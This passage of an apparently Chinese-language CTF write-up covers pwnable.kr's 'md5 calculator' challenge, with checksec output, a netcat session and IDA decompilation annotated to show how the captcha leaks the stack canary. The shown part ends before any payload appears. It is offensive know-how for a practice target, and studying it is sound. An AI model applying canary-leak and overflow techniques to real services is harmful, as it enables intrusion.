</span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recv</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="c1"># io.interactive()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>学到很多</p>
<h3 id="md5-calculator">md5 calculator<a class="anchor" href="#md5-calculator">#</a></h3>
<blockquote>
<p>I made a simple MD5 calculator as a network service.
I made sure the service is protected with stack canary option.
So no need to worry about BoF.</p>
<p>ssh <a
  href="mailto:md5calculator@pwnable.kr"
  >md5calculator@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">md5calculator@ubuntu:~$ checksec md5calculator
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">[*] &#39;/home/md5calculator/md5calculator&#39;
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">    Arch:       i386-32-little
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">    RELRO:      Partial RELRO
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">    Stack:      Canary found
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="go">    NX:         NX enabled
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="go">    PIE:        No PIE (0x8048000)
</span></span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="go">    Stripped:   No
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>本地启动提示缺少库，远程测试一下：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">md5calculator@ubuntu:~$ nc 0 9002
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">- Welcome to the free MD5 calculating service -
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">Are you human? input captcha : -1361061557
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">-1361061557
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">Welcome! you are authenticated.
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">Encode your data with BASE64 then paste me!
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">AAA
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">MD5(data) : 693e9af84d3dfcc71e640e005bdc5e2e
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">Thank you for using our service.
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">sh: 1: cannot create log: Read-only file system
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">A
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">B
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">C
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">md5calculator@ubuntu:~$ nc 0 9002
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">- Welcome to the free MD5 calculating service -
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">Are you human? input captcha : -368125156
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">-368125156
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">Welcome! you are authenticated.
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">Encode your data with BASE64 then paste me!
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">ABC
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">MD5(data) : 693e9af84d3dfcc71e640e005bdc5e2e
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">Thank you for using our service.
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">sh: 1: cannot create log: Read-only file system
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">adad
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">ls
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="go">whoami
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>发现，输入AAA和ABC的哈希是一样的，不知道是什么处理的，然后输入三次就退出。哈希解密显示如下：</p>
<p><img
  src="/b7a8ad/pwnablekr_md5calcdecrypt.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1077" height="478"
/>
</p>
<p>IDA:</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">time_t</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// eax
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [esp+18h] [ebp-8h] BYREF
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// [esp+1Ch] [ebp-4h]
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="n">nullptr</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="n">nullptr</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;- Welcome to the free MD5 calculating service -&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="c1">// v3是当前时间戳
</span></span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="n">v3</span> <span class="o">=</span> <span class="nf">time</span><span class="p">(</span><span class="n">nullptr</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="c1">// 设置种子
</span></span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="nf">srand</span><span class="p">(</span><span class="n">v3</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="c1">// 生成验证码赋给v6
</span></span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="n">v6</span> <span class="o">=</span> <span class="nf">my_hash</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Are you human? input captcha : %d</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">v6</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v5</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="c1">// 比对输入值与v6
</span></span></span><span class="line"><span class="ln">19</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="n">v6</span> <span class="o">!=</span> <span class="n">v5</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;wrong captcha!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Welcome! you are authenticated.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Encode your data with BASE64 then paste me!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="c1">// 进入哈希函数
</span></span></span><span class="line"><span class="ln">27</span><span class="cl">  <span class="nf">process_hash</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Thank you for using our service.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="c1">// 把当前时间写到日志里
</span></span></span><span class="line"><span class="ln">30</span><span class="cl">  <span class="nf">system</span><span class="p">(</span><span class="s">&#34;echo `date` &gt;&gt; log&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="nf">my_hash</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [esp+0h] [ebp-38h]
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="n">_BYTE</span> <span class="n">v2</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span> <span class="c1">// [esp+Ch] [ebp-2Ch]
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="kt">int</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// [esp+10h] [ebp-28h]
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="kt">int</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [esp+14h] [ebp-24h]
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [esp+18h] [ebp-20h]
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// [esp+1Ch] [ebp-1Ch]
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="kt">int</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// [esp+20h] [ebp-18h]
</span></span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="kt">int</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// [esp+24h] [ebp-14h]
</span></span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="kt">int</span> <span class="n">v9</span><span class="p">;</span> <span class="c1">// [esp+28h] [ebp-10h]
</span></span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v10</span><span class="p">;</span> <span class="c1">// [esp+2Ch] [ebp-Ch]
</span></span></span><span class="line"><span class="ln">13</span><span class="cl">	<span class="c1">// Canary保护措施
</span></span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="n">v10</span> <span class="o">=</span> <span class="nf">__readgsdword</span><span class="p">(</span><span class="mh">0x14u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">7</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">      <span class="c1">// 以 v2 的地址为起点，每次偏移 4 * i 字节，并写入一个 DWORD（4 字节整数）
</span></span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v2</span><span class="p">[</span><span class="mi">4</span> <span class="o">*</span> <span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nf">rand</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="c1">// v2到v9都是连续的，所以每个都赋值了。
</span></span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="c1">// 这里的运算包含了v10，也就是Canary的值
</span></span></span><span class="line"><span class="ln">20</span><span class="cl">  <span class="k">return</span> <span class="n">v6</span> <span class="o">-</span> <span class="n">v8</span> <span class="o">+</span> <span class="n">v9</span> <span class="o">+</span> <span class="n">v10</span> <span class="o">+</span> <span class="n">v4</span> <span class="o">-</span> <span class="n">v5</span> <span class="o">+</span> <span class="n">v3</span> <span class="o">+</span> <span class="n">v7</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
